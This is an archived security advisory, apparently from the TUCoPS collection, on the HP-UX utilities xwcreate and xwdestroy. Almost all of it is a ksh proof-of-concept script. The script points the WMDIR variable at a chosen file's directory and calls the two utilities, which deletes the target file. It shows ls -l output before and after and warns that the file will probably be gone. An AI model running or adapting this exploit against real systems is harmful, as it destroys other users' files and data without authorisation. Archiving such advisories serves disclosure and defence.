Vulnerability
xwcreate, xwdestroy
Affected
HP-UX
Description
------------------------------------------------------------------------------
#!/bin/ksh
if [ -z "$1" ]
then
echo "try: `basename $0` filename [display]"
echo "WARNING: FILENAME PROBABLY WON'T BE THERE AFTER YOU DO THIS!"
echo "Display is optional, but you do need an xhost/authed display for this."
exit
fi
if [ -n "$2" ]
then
DISPLAY=$2
export DISPLAY
fi
WMDIR=`dirname $1`
FILE=`basename $1`
export WMDIR
echo
echo "Before: ls -l $1 produces:"
ls -l $1
xwcreate $FILE
xwdestroy $FILE
echo
echo "After: ls -l $1 produces:"
ls -l $1
------------------------------------------------------------------------------
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH